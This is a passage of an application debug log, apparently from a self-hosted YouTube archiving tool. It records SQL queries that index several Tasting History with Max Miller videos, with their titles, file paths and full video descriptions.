"b169aa0c-4170-42d9-a622-7232a6a3ce09", "g2uEeDzhn14", "https://www.youtube.com/watch?v=g2uEeDzhn14", false, 1399, false, 5, "/downloads/Tasting History with Max Miller/2026-03-03 Hatshepsut - The Pharaoh they tried to Erase from History/Hatshepsut - The Pharaoh they tried to Erase from History [g2uEeDzhn14].mp4", false, false, 3, [], 98, ~U[2026-03-03 16:01:01Z], ~U[2026-04-01 06:53:34Z], ~U[2026-04-01 06:53:34Z], "Support the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nTree at Hatshepsut’s Temple: By Justegypt - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=160210600\nMortuary Temple Aerial Shot: By Diego Delso, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=122648660\nHatshepsut’s Mummy - By Vrangel1924 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=79389860\nDestroyed Cartouches: By Hedwig Storch - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=5943134\n\n#tastinghistory", "Hatshepsut - The Pharaoh they tried to Erase from History", "g2uEeDzhn14", "https://www.youtube.com/watch?v=g2uEeDzhn14", 1399, false, "/downloads/Tasting History with Max Miller/2026-03-03 Hatshepsut - The Pharaoh they tried to Erase from History/Hatshepsut - The Pharaoh they tried to Erase from History [g2uEeDzhn14].mp4", false, 3, ~U[2026-03-03 16:01:01Z]] 02:53:34.645 [debug] QUERY OK source="sources" db=0.2ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:34.647 [debug] QUERY OK source="media_items" db=1.1ms idle=4.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-24 16:00:34Z], 3] 02:53:34.648 [debug] QUERY OK source="media_items" db=1.2ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nListen to the Podcast I did with The Biographers at any of these links:\nApple Podcasts: https://podcasts.apple.com/us/podcast/the-biographers/id1690932637?i=1000751100810\nSpotify: https://open.spotify.com/episode/1JlCmNhuBJqebLuagYs6Fa?si=FN4w__kUQHKFgaj082K4UQ\nYouTube: https://youtu.be/KeqRyJZ8H9o\nWebsite: www.thebiographerspodcast.com\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/teslasduck\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #tesla", "Nikola Tesla's Weird Eating Habits", "7dac9873-e4f8-4342-9a22-a2bfa4403cef", "LpfV-0kT56o", "https://www.youtube.com/watch?v=LpfV-0kT56o", false, 1713, false, 6, "/downloads/Tasting History with Max Miller/2026-02-24 Nikola Tesla's Weird Eating Habits/Nikola Tesla's Weird Eating Habits [LpfV-0kT56o].mp4", false, false, 3, [], 98, ~U[2026-02-24 16:00:34Z], ~U[2026-04-01 06:53:34Z], ~U[2026-04-01 06:53:34Z], "Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nListen to the Podcast I did with The Biographers at any of these links:\nApple Podcasts: https://podcasts.apple.com/us/podcast/the-biographers/id1690932637?i=1000751100810\nSpotify: https://open.spotify.com/episode/1JlCmNhuBJqebLuagYs6Fa?si=FN4w__kUQHKFgaj082K4UQ\nYouTube: https://youtu.be/KeqRyJZ8H9o\nWebsite: www.thebiographerspodcast.com\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/teslasduck\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #tesla", "Nikola Tesla's Weird Eating Habits", "LpfV-0kT56o", "https://www.youtube.com/watch?v=LpfV-0kT56o", 1713, false, "/downloads/Tasting History with Max Miller/2026-02-24 Nikola Tesla's Weird Eating Habits/Nikola Tesla's Weird Eating Habits [LpfV-0kT56o].mp4", false, 3, ~U[2026-02-24 16:00:34Z]] 02:53:34.649 [debug] QUERY OK source="sources" db=0.3ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:34.650 [debug] QUERY OK source="media_items" db=1.1ms idle=4.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-17 16:01:05Z], 3] 02:53:34.652 [debug] QUERY OK source="media_items" db=1.7ms idle=5.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nWatch Anthony Clarke discuss the origins of the Altar Stone: https://youtu.be/QQsRHNHA9Ow?si=Tqo4Utahzo9waWac\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nStonehenge - By garethwiscombe - https://www.flickr.com/photos/garethwiscombe/1071477228/in/photostream/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=13278936\nDurrington Walls - By Ethan Doyle White - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=64012582 \nLidar view of Knowlton - By Dr John Wells - Own work, CC BY 4.0, https://commons.wikimedia.org/w/index.php?curid=179066884\nAurochs Skeleton - By Marcus Sümnick from Rostock, Germany - Aurochs Uploaded by FunkMonk, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=18323006\nHazelnuts - By Ivar Leidus - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=98707662\nAvebury - By MikPeach - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=62837662\nMayburg Henge - By Chazza114 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=144018403\nAn aerial view of the henge site and cairn on Cairnpapple Hill in West Lothian - By Dr John Wells - https://web.archive.org/web/20130119123425/http://www.armadale.org.uk/cairnpapple.htm, CC BY 3.0, https://commons.wikimedia.org/w/index.php?curid=22909135\nWoodhenge - CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=48577\nDitch at Avebury - CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=73498\nPreseli Hills - By Tony Holkham at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=48554746\nAltar Stone - By The Stones of Stonehenge - http://www.stonesofstonehenge.org.uk, CC BY 4.0, https://commons.wikimedia.org/w/index.php?curid=151586152\nOrcadian Basin - By Mikenorton - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=18502199\n\n#tastinghistory", "What Did the Builders of Stonehenge Eat?", "794a9778-f837-4786-a48c-fc4f54970b2f", "i3L1g62Sy58", "https://www.youtube.com/watch?v=i3L1g62Sy58", false, 1335, false, 7, "/downloads/Tasting History with Max Miller/2026-02-17 What Did the Builders of Stonehenge Eat?/What Did the Builders of Stonehenge Eat? [i3L1g62Sy58].mp4", false, false, 3, [], 98, ~U[2026-02-17 16:01:05Z], ~U[2026-04-01 06:53:34Z], ~U[2026-04-01 06:53:34Z], "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nWatch Anthony Clarke discuss the origins of the Altar Stone: https://youtu.be/QQsRHNHA9Ow?si=Tqo4Utahzo9waWac\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nStonehenge - By garethwiscombe - https://www.flickr.com/photos/garethwiscombe/1071477228/in/photostream/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=13278936\nDurrington Walls - By Ethan Doyle White - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=64012582 \nLidar view of Knowlton - By Dr John Wells - Own work, CC BY 4.0, https://commons.wikimedia.org/w/index.php?curid=179066884\nAurochs Skeleton - By Marcus Sümnick from Rostock, Germany - Aurochs Uploaded by FunkMonk, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=18323006\nHazelnuts - By Ivar Leidus - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=98707662\nAvebury - By MikPeach - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=62837662\nMayburg Henge - By Chazza114 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=144018403\nAn aerial view of the henge site and cairn on Cairnpapple Hill in West Lothian - By Dr John Wells - https://web.archive.org/web/20130119123425/http://www.armadale.org.uk/cairnpapple.htm, CC BY 3.0, https://commons.wikimedia.org/w/index.php?curid=22909135\nWoodhenge - CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=48577\nDitch at Avebury - CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=73498\nPreseli Hills - By Tony Holkham at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=48554746\nAltar Stone - By The Stones of Stonehenge - http://www.stonesofstonehenge.org.uk, CC BY 4.0, https://commons.wikimedia.org/w/index.php?curid=151586152\nOrcadian Basin - By Mikenorton - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=18502199\n\n#tastinghistory", "What Did the Builders of Stonehenge Eat?", "i3L1g62Sy58", "https://www.youtube.com/watch?v=i3L1g62Sy58", 1335, false, "/downloads/Tasting History with Max Miller/2026-02-17 What Did the Builders of Stonehenge Eat?/What Did the Builders of Stonehenge Eat? [i3L1g62Sy58].mp4", false, 3, ~U[2026-02-17 16:01:05Z]] 02:53:34.653 [debug] QUERY OK source="sources" db=0.2ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:34.654 [debug] QUERY OK source="media_items" db=1.1ms idle=4.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-10 16:00:14Z], 3] 02:53:34.656 [debug] QUERY OK source="media_items" db=1.1ms idle=5.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get up to 40% off your first order at\nhttps://drinktrade.com/maxmiller \n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/gumbo\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nOkra Cross Section - By Prathyush Thomas - Own work, GFDL 1.2, https://commons.wikimedia.org/w/index.php?curid=40766980\nOkra Growing - By Earth100 - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=20903977\nSassafras leaves - By Randy Everette - Imported from 500px (archived version) by the Archive Team. (detail page), CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=71262709\n\n#tastinghistory #gumbo", "The History of Gumbo in New Orleans", "21fdfdff-2872-4647-aeab-3bf36ceb14ed", "99yi0FRF4uM", "https://www.youtube.com/watch?v=99yi0FRF4uM", false, 1576, false, 8, "/downloads/Tasting History with Max Miller/2026-02-10 The History of Gumbo in New Orleans/The History of Gumbo in New Orleans [99yi0FRF4uM].mp4", false, false, 3, [], 98, ~U[2026-02-10 16:00:14Z], ~U[2026-04-01 06:53:34Z], ~U[2026-04-01 06:53:34Z], "Get up to 40% off your first order at\nhttps://drinktrade.com/maxmiller \n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/gumbo\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nOkra Cross Section - By Prathyush Thomas - Own work, GFDL 1.2, https://commons.wikimedia.org/w/index.php?curid=40766980\nOkra Growing - By Earth100 - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=20903977\nSassafras leaves - By Randy Everette - Imported from 500px (archived version) by the Archive Team. (detail page), CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=71262709\n\n#tastinghistory #gumbo", "The History of Gumbo in New Orleans", "99yi0FRF4uM", "https://www.youtube.com/watch?v=99yi0FRF4uM", 1576, false, "/downloads/Tasting History with Max Miller/2026-02-10 The History of Gumbo in New Orleans/The History of Gumbo in New Orleans [99yi0FRF4uM].mp4", false, 3, ~U[2026-02-10 16:00:14Z]] 02:53:34.656 [debug] QUERY OK source="sources" db=0.2ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:34.657 [debug] QUERY OK source="media_items" db=1.1ms idle=4.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-03 16:01:19Z], 3] 02:53:34.659 [debug] QUERY OK source="media_items" db=1.0ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thanks to Opera Browser for sponsoring this video. Download here - https://opr.as/Opera-browser-tastinghistory\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nKangaroo Meat - Maksym Kozlenko, CC BY-SA 4.0 https://creativecommons.org/licenses/by-sa/4.0, via Wikimedia Commons\n\n#tastinghistory", "Cooking Kangaroo on the World War 2 Australian Home Front", "e66e3715-3bb1-4a82-a47c-1fede5688fb5", "myvdVmaa0GE", "https://www.youtube.com/watch?v=myvdVmaa0GE", false, 1276, false, 9, "/downloads/Tasting History with Max Miller/2026-02-03 Cooking Kangaroo on the World War 2 Australian Home Front/Cooking Kangaroo on the World War 2 Australian Home Front [myvdVmaa0GE].mp4", false, false, 3, [], 98, ~U[2026-02-03 16:01:19Z], ~U[2026-04-01 06:53:34Z], ~U[2026-04-01 06:53:34Z], "Thanks to Opera Browser for sponsoring this video. Download here - https://opr.as/Opera-browser-tastinghistory\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nKangaroo Meat - Maksym Kozlenko, CC BY-SA 4.0 https://creativecommons.org/licenses/by-sa/4.0, via Wikimedia Commons\n\n#tastinghistory", "Cooking Kangaroo on the World War 2 Australian Home Front", "myvdVmaa0GE", "https://www.youtube.com/watch?v=myvdVmaa0GE", 1276, false, "/downloads/Tasting History with Max Miller/2026-02-03 Cooking Kangaroo on the World War 2 Australian Home Front/Cooking Kangaroo on the World War 2 Australian Home Front [myvdVmaa0GE].mp4", false, 3, ~U[2026-02-03 16:01:19Z]] 02:53:34.659 [debug] QUERY OK source="sources" db=0.2ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:34.661 [debug] QUERY OK source="media_items" db=1.1ms idle=4.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-27 16:00:41Z], 3] 02:53:34.664 [debug] QUERY OK source="media_items" db=2.5ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/mozartspork\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #mozart", "Did This Meal Kill Mozart?", "548e1632-5ce1-4b65-9ddc-5a7121c21bd4", "R9Kw_3c88bQ", "https://www.youtube.com/watch?v=R9Kw_3c88bQ", false, 1300, false, 10, "/downloads/Tasting History with Max Miller/2026-01-27 Did This Meal Kill Mozart?/Did This Meal Kill Mozart? [R9Kw_3c88bQ].mp4", false, false, 3, [], 98, ~U[2026-01-27 16:00:41Z], ~U[2026-04-01 06:53:34Z], ~U[2026-04-01 06:53:34Z], "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/mozartspork\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #mozart", "Did This Meal Kill Mozart?", "R9Kw_3c88bQ", "https://www.youtube.com/watch?v=R9Kw_3c88bQ", 1300, false, "/downloads/Tasting History with Max Miller/2026-01-27 Did This Meal Kill Mozart?/Did This Meal Kill Mozart? [R9Kw_3c88bQ].mp4", false, 3, ~U[2026-01-27 16:00:41Z]] 02:53:34.664 [debug] QUERY OK source="sources" db=0.2ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:34.665 [debug] QUERY OK source="media_items" db=1.1ms idle=5.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-20 16:01:30Z], 3] 02:53:34.667 [debug] QUERY OK source="media_items" db=1.1ms idle=6.2ms INSERT INTO "media_items" AS m0 